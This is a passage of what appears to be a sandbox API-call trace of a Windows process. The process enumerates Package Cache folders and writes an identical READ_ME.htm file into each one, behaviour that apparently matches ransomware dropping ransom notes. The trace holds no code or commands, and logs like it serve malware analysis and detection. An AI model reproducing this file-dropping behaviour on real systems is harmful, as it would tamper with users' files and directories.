ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.307] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.307] SetErrorMode (uMode=0x0) returned 0x1 [0142.307] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm", lpFilePart=0x0) returned 0x7f [0142.307] SetErrorMode (uMode=0x1) returned 0x0 [0142.307] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.308] GetFileType (hFile=0x1d0) returned 0x1 [0142.308] SetErrorMode (uMode=0x0) returned 0x1 [0142.308] GetFileType (hFile=0x1d0) returned 0x1 [0142.309] WriteFile (in: hFile=0x1d0, lpBuffer=0x28ada20*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28ada20*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.310] CloseHandle (hObject=0x1d0) returned 1 [0142.310] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x67 [0142.310] SetErrorMode (uMode=0x1) returned 0x0 [0142.311] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.312] GetFileType (hFile=0x1d0) returned 0x1 [0142.312] SetErrorMode (uMode=0x0) returned 0x1 [0142.312] GetFileType (hFile=0x1d0) returned 0x1 [0142.312] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b2080*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28b2080*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.313] CloseHandle (hObject=0x1d0) returned 1 [0142.314] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\READ_ME.htm", lpFilePart=0x0) returned 0x5e [0142.314] SetErrorMode (uMode=0x1) returned 0x0 [0142.314] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.315] GetFileType (hFile=0x1d0) returned 0x1 [0142.315] SetErrorMode (uMode=0x0) returned 0x1 [0142.315] GetFileType (hFile=0x1d0) returned 0x1 [0142.315] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b66c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28b66c0*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.316] CloseHandle (hObject=0x1d0) returned 1 [0142.317] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpFilePart=0x0) returned 0x52 [0142.317] SetErrorMode (uMode=0x1) returned 0x0 [0142.317] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76131f90, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffbeb40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffbeb40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.317] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.317] SetErrorMode (uMode=0x0) returned 0x1 [0142.318] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpFilePart=0x0) returned 0x52 [0142.318] SetErrorMode (uMode=0x1) returned 0x0 [0142.318] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76131f90, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffbeb40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffbeb40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.318] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.318] SetErrorMode (uMode=0x0) returned 0x1 [0142.319] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0142.319] SetErrorMode (uMode=0x1) returned 0x0 [0142.319] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f963e30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffbeb40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffbeb40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.319] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.319] SetErrorMode (uMode=0x0) returned 0x1 [0142.320] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0142.320] SetErrorMode (uMode=0x1) returned 0x0 [0142.320] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f963e30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffbeb40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffbeb40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.320] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.320] SetErrorMode (uMode=0x0) returned 0x1 [0142.321] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x70 [0142.321] SetErrorMode (uMode=0x1) returned 0x0 [0142.321] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f963e30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffbeb40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffbeb40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.321] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.321] SetErrorMode (uMode=0x0) returned 0x1 [0142.322] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x70 [0142.322] SetErrorMode (uMode=0x1) returned 0x0 [0142.322] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f963e30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffbeb40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffbeb40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.323] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.323] SetErrorMode (uMode=0x0) returned 0x1 [0142.323] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm", lpFilePart=0x0) returned 0x7c [0142.323] SetErrorMode (uMode=0x1) returned 0x0 [0142.323] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.324] GetFileType (hFile=0x1d0) returned 0x1 [0142.324] SetErrorMode (uMode=0x0) returned 0x1 [0142.324] GetFileType (hFile=0x1d0) returned 0x1 [0142.325] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c2118*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28c2118*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.326] CloseHandle (hObject=0x1d0) returned 1 [0142.326] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x67 [0142.326] SetErrorMode (uMode=0x1) returned 0x0 [0142.326] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.327] GetFileType (hFile=0x1d0) returned 0x1 [0142.327] SetErrorMode (uMode=0x0) returned 0x1 [0142.327] GetFileType (hFile=0x1d0) returned 0x1 [0142.327] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c6778*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28c6778*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.329] CloseHandle (hObject=0x1d0) returned 1 [0142.329] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\READ_ME.htm", lpFilePart=0x0) returned 0x5e [0142.329] SetErrorMode (uMode=0x1) returned 0x0 [0142.329] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.330] GetFileType (hFile=0x1d0) returned 0x1 [0142.330] SetErrorMode (uMode=0x0) returned 0x1 [0142.331] GetFileType (hFile=0x1d0) returned 0x1 [0142.331] WriteFile (in: hFile=0x1d0, lpBuffer=0x28cadb8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28cadb8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.332] CloseHandle (hObject=0x1d0) returned 1 [0142.333] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpFilePart=0x0) returned 0x47 [0142.333] SetErrorMode (uMode=0x1) returned 0x0 [0142.333] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88dcc130, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffbeb40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffbeb40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.334] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.334] SetErrorMode (uMode=0x0) returned 0x1 [0142.334] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpFilePart=0x0) returned 0x47 [0142.334] SetErrorMode (uMode=0x1) returned 0x0 [0142.335] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88dcc130, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffbeb40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffbeb40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.335] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.335] SetErrorMode (uMode=0x0) returned 0x1 [0142.335] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\READ_ME.htm", lpFilePart=0x0) returned 0x53 [0142.336] SetErrorMode (uMode=0x1) returned 0x0 [0142.336] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.337] GetFileType (hFile=0x1d0) returned 0x1 [0142.337] SetErrorMode (uMode=0x0) returned 0x1 [0142.337] GetFileType (hFile=0x1d0) returned 0x1 [0142.337] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d1708*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28d1708*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.338] CloseHandle (hObject=0x1d0) returned 1 [0142.339] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpFilePart=0x0) returned 0x52 [0142.339] SetErrorMode (uMode=0x1) returned 0x0 [0142.339] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88f6f050, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffe4ca0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffe4ca0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.339] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.339] SetErrorMode (uMode=0x0) returned 0x1 [0142.340] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpFilePart=0x0) returned 0x52 [0142.340] SetErrorMode (uMode=0x1) returned 0x0 [0142.340] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88f6f050, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffe4ca0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffe4ca0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.340] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.341] SetErrorMode (uMode=0x0) returned 0x1 [0142.341] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0142.341] SetErrorMode (uMode=0x1) returned 0x0 [0142.341] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fbb310, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffe4ca0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffe4ca0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.341] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.342] SetErrorMode (uMode=0x0) returned 0x1 [0142.342] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0142.342] SetErrorMode (uMode=0x1) returned 0x0 [0142.342] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fbb310, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffe4ca0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffe4ca0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.343] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.343] SetErrorMode (uMode=0x0) returned 0x1 [0142.343] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package 